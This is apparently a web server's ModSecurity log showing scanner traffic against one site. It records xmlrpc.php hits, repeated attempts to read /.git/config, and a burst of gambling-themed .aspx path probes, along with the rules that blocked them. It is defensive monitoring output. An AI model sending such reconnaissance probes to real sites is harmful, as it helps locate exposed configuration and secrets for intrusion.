[Tue Feb 10 18:50:05.404996 2026] [:error] [pid 47831:tid 47886] [client 138.201.157.212:40092] [client 138.201.157.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.201.157.212, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYsNXSdxbZYarWVkiABaDwAAAE0"]
[Tue Feb 10 19:17:42.751121 2026] [:error] [pid 47837:tid 47905] [client 159.203.169.213:41212] [client 159.203.169.213] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aYsT1nFY8KYFPX79Z4nWIQAAAIU"]
[Tue Feb 10 19:17:50.083479 2026] [:error] [pid 7704:tid 7726] [client 159.203.169.213:39934] [client 159.203.169.213] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aYsT3v0EcqgVBUs6CW0MBQAAAdM"]
[Tue Feb 10 19:53:49.997870 2026] [:error] [pid 47937:tid 47942] [client 46.182.4.125:4565] [client 46.182.4.125] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.182.4.125, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYscTcpqXpC2CvJ3fOOqSgAAAMM"]
[Tue Feb 10 20:57:47.924698 2026] [:error] [pid 47937:tid 47947] [client 8.148.237.203:54914] [client 8.148.237.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 8.148.237.203, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYsrS8pqXpC2CvJ3fOO6_AAAAMg"]
[Tue Feb 10 20:57:53.447464 2026] [:error] [pid 47937:tid 47954] [client 103.205.208.252:39402] [client 103.205.208.252] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.205.208.252, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYsrUcpqXpC2CvJ3fOO6_wAAAM8"]
[Tue Feb 10 20:59:03.365235 2026] [:error] [pid 47937:tid 47959] [client 103.36.103.52:47936] [client 103.36.103.52] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.36.103.52, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYsrl8pqXpC2CvJ3fOO7RgAAANQ"]
[Tue Feb 10 21:02:04.175769 2026] [:error] [pid 47830:tid 47864] [client 37.128.148.215:40676] [client 37.128.148.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.128.148.215, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYssTEco45BZs8e301CJ0gAAABI"]
[Tue Feb 10 21:33:37.576407 2026] [:error] [pid 47937:tid 47961] [client 159.203.169.213:56484] [client 159.203.169.213] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aYszscpqXpC2CvJ3fOPCTgAAANY"]
[Tue Feb 10 21:33:43.584386 2026] [:error] [pid 47831:tid 47892] [client 159.203.169.213:60474] [client 159.203.169.213] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aYsztydxbZYarWVkiACY-gAAAFM"]
[Tue Feb 10 21:45:13.797986 2026] [:error] [pid 47831:tid 47887] [client 159.203.169.213:33336] [client 159.203.169.213] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aYs2aSdxbZYarWVkiACc2gAAAE4"]
[Tue Feb 10 21:45:17.584373 2026] [:error] [pid 30054:tid 30065] [client 159.203.169.213:46340] [client 159.203.169.213] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aYs2bWecgOOXCu-GgYVJDgAAAQk"]
[Tue Feb 10 22:01:58.414531 2026] [:error] [pid 30054:tid 30059] [client 159.203.169.213:55922] [client 159.203.169.213] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aYs6VmecgOOXCu-GgYVMUgAAAQM"]
[Tue Feb 10 22:02:11.454894 2026] [:error] [pid 47937:tid 47953] [client 159.203.169.213:55516] [client 159.203.169.213] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aYs6Y8pqXpC2CvJ3fOPI-QAAAM4"]
[Tue Feb 10 22:09:34.617389 2026] [:error] [pid 47831:tid 47881] [client 51.83.35.19:47844] [client 51.83.35.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.83.35.19, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYs8HidxbZYarWVkiAClaAAAAEg"]
[Tue Feb 10 22:13:00.832342 2026] [:error] [pid 59544:tid 59571] [client 79.137.67.84:34886] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aYs87KZySR9mFY4BaikMdgAAAZQ"]
[Tue Feb 10 22:13:02.758035 2026] [:error] [pid 47937:tid 47954] [client 79.137.67.84:60640] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aYs87spqXpC2CvJ3fOPK-AAAAM8"]
[Tue Feb 10 22:13:04.660611 2026] [:error] [pid 47830:tid 47850] [client 79.137.67.84:60646] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aYs88Eco45BZs8e301CcEAAAAAQ"]
[Tue Feb 10 22:13:06.582901 2026] [:error] [pid 59544:tid 59557] [client 79.137.67.84:60660] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aYs88qZySR9mFY4BaikMegAAAYk"]
[Tue Feb 10 22:13:08.676678 2026] [:error] [pid 47937:tid 47958] [client 79.137.67.84:60674] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aYs89MpqXpC2CvJ3fOPK_gAAANM"]
[Tue Feb 10 22:13:10.602784 2026] [:error] [pid 59544:tid 59575] [client 79.137.67.84:38374] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aYs89qZySR9mFY4BaikMfAAAAZc"]
[Tue Feb 10 22:13:12.524198 2026] [:error] [pid 30054:tid 30060] [client 79.137.67.84:38390] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aYs8-GecgOOXCu-GgYVN9AAAAQQ"]
[Tue Feb 10 22:13:14.630897 2026] [:error] [pid 47830:tid 47852] [client 79.137.67.84:38394] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aYs8-kco45BZs8e301CcFwAAAAY"]
[Tue Feb 10 22:13:16.598661 2026] [:error] [pid 59544:tid 59574] [client 79.137.67.84:38398] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aYs8_KZySR9mFY4BaikMiAAAAZY"]
[Tue Feb 10 22:13:18.524403 2026] [:error] [pid 47837:tid 47924] [client 79.137.67.84:38408] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aYs8_nFY8KYFPX79Z4n-cQAAAJg"]
[Tue Feb 10 22:13:20.468573 2026] [:error] [pid 30054:tid 30073] [client 79.137.67.84:35146] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aYs9AGecgOOXCu-GgYVOAgAAARE"]
[Tue Feb 10 22:13:22.367961 2026] [:error] [pid 59544:tid 59555] [client 79.137.67.84:35156] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aYs9AqZySR9mFY4BaikMjgAAAYc"]
[Tue Feb 10 22:13:24.461437 2026] [:error] [pid 47837:tid 47903] [client 79.137.67.84:35158] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aYs9BHFY8KYFPX79Z4n-ewAAAIM"]
[Tue Feb 10 22:13:26.276896 2026] [:error] [pid 7704:tid 7714] [client 79.137.67.84:35172] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aYs9Bv0EcqgVBUs6CW0wtwAAAcc"]
[Tue Feb 10 22:13:28.167809 2026] [:error] [pid 47831:tid 47885] [client 79.137.67.84:35186] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aYs9CCdxbZYarWVkiACmfAAAAEw"]
[Tue Feb 10 22:13:30.087108 2026] [:error] [pid 59544:tid 59562] [client 79.137.67.84:54766] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aYs9CqZySR9mFY4BaikMmgAAAY4"]
[Tue Feb 10 22:13:31.991061 2026] [:error] [pid 59544:tid 59569] [client 79.137.67.84:54768] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aYs9C6ZySR9mFY4BaikMoQAAAZI"]
[Tue Feb 10 22:13:34.029959 2026] [:error] [pid 7704:tid 7726] [client 79.137.67.84:54774] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aYs9Dv0EcqgVBUs6CW0wuQAAAdM"]
[Tue Feb 10 22:13:35.925618 2026] [:error] [pid 47831:tid 47897] [client 79.137.67.84:54778] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aYs9DydxbZYarWVkiACmhgAAAFg"]
[Tue Feb 10 22:13:37.802707 2026] [:error] [pid 7704:tid 7730] [client 79.137.67.84:54794] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aYs9Ef0EcqgVBUs6CW0wvQAAAdc"]
[Tue Feb 10 22:13:39.721029 2026] [:error] [pid 7704:tid 7717] [client 79.137.67.84:60130] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aYs9E_0EcqgVBUs6CW0wwgAAAco"]
[Tue Feb 10 22:13:41.639029 2026] [:error] [pid 59407:tid 59426] [client 79.137.67.84:60132] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aYs9FWLlhBXE3qmX-Jk29gAAAVE"]
[Tue Feb 10 22:13:43.547030 2026] [:error] [pid 30054:tid 30066] [client 79.137.67.84:60140] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aYs9F2ecgOOXCu-GgYVOEgAAAQo"]
[Tue Feb 10 22:13:45.439710 2026] [:error] [pid 47830:tid 47868] [client 79.137.67.84:60144] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aYs9GUco45BZs8e301CcKgAAABY"]
[Tue Feb 10 22:13:47.472426 2026] [:error] [pid 47837:tid 47906] [client 79.137.67.84:60148] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aYs9G3FY8KYFPX79Z4n-jwAAAIY"]
[Tue Feb 10 22:13:49.359891 2026] [:error] [pid 47830:tid 47867] [client 79.137.67.84:45554] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aYs9HUco45BZs8e301CcLwAAABU"]
[Tue Feb 10 22:13:51.395157 2026] [:error] [pid 47837:tid 47905] [client 79.137.67.84:45560] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "aYs9H3FY8KYFPX79Z4n-lAAAAIU"]
[Tue Feb 10 22:13:53.447156 2026] [:error] [pid 47837:tid 47900] [client 79.137.67.84:45564] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "aYs9IXFY8KYFPX79Z4n-lgAAAIA"]
[Tue Feb 10 22:13:55.488043 2026] [:error] [pid 59407:tid 59415] [client 79.137.67.84:45578] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "aYs9I2LlhBXE3qmX-Jk3BQAAAUY"]
[Tue Feb 10 22:14:31.614388 2026] [:error] [pid 59407:tid 59424] [client 79.137.67.84:45582] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20789.aspx"] [unique_id "aYs9R2LlhBXE3qmX-Jk3OQAAAU8"]
[Tue Feb 10 22:14:33.586999 2026] [:error] [pid 59407:tid 59410] [client 79.137.67.84:33208] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aYs9SWLlhBXE3qmX-Jk3OgAAAUE"]
[Tue Feb 10 22:14:35.473677 2026] [:error] [pid 59544:tid 59571] [client 79.137.67.84:33220] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aYs9S6ZySR9mFY4BaikMzQAAAZQ"]
[Tue Feb 10 22:14:37.507366 2026] [:error] [pid 47937:tid 47954] [client 79.137.67.84:33224] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aYs9TcpqXpC2CvJ3fOPLUgAAAM8"]
[Tue Feb 10 22:14:39.387225 2026] [:error] [pid 47830:tid 47845] [client 79.137.67.84:38734] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20game.aspx"] [unique_id "aYs9T0co45BZs8e301CcTAAAAAA"]
[Tue Feb 10 22:14:41.407823 2026] [:error] [pid 47837:tid 47905] [client 79.137.67.84:38738] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aYs9UXFY8KYFPX79Z4n-zAAAAIU"]
[Tue Feb 10 22:14:43.435894 2026] [:error] [pid 47830:tid 47850] [client 79.137.67.84:38752] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aYs9U0co45BZs8e301CcUQAAAAQ"]
[Tue Feb 10 22:14:45.303052 2026] [:error] [pid 47937:tid 47949] [client 79.137.67.84:38758] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aYs9VcpqXpC2CvJ3fOPLVwAAAMo"]
[Tue Feb 10 22:14:47.322117 2026] [:error] [pid 47831:tid 47894] [client 79.137.67.84:38768] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aYs9VydxbZYarWVkiACm4AAAAFU"]
[Tue Feb 10 22:14:49.343052 2026] [:error] [pid 7704:tid 7731] [client 79.137.67.84:49830] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aYs9Wf0EcqgVBUs6CW0w9AAAAdg"]
[Tue Feb 10 22:14:51.228880 2026] [:error] [pid 59407:tid 59424] [client 79.137.67.84:49842] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aYs9W2LlhBXE3qmX-Jk3PwAAAU8"]
[Tue Feb 10 22:14:53.245249 2026] [:error] [pid 47830:tid 47858] [client 79.137.67.84:49848] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aYs9XUco45BZs8e301CcZAAAAAw"]
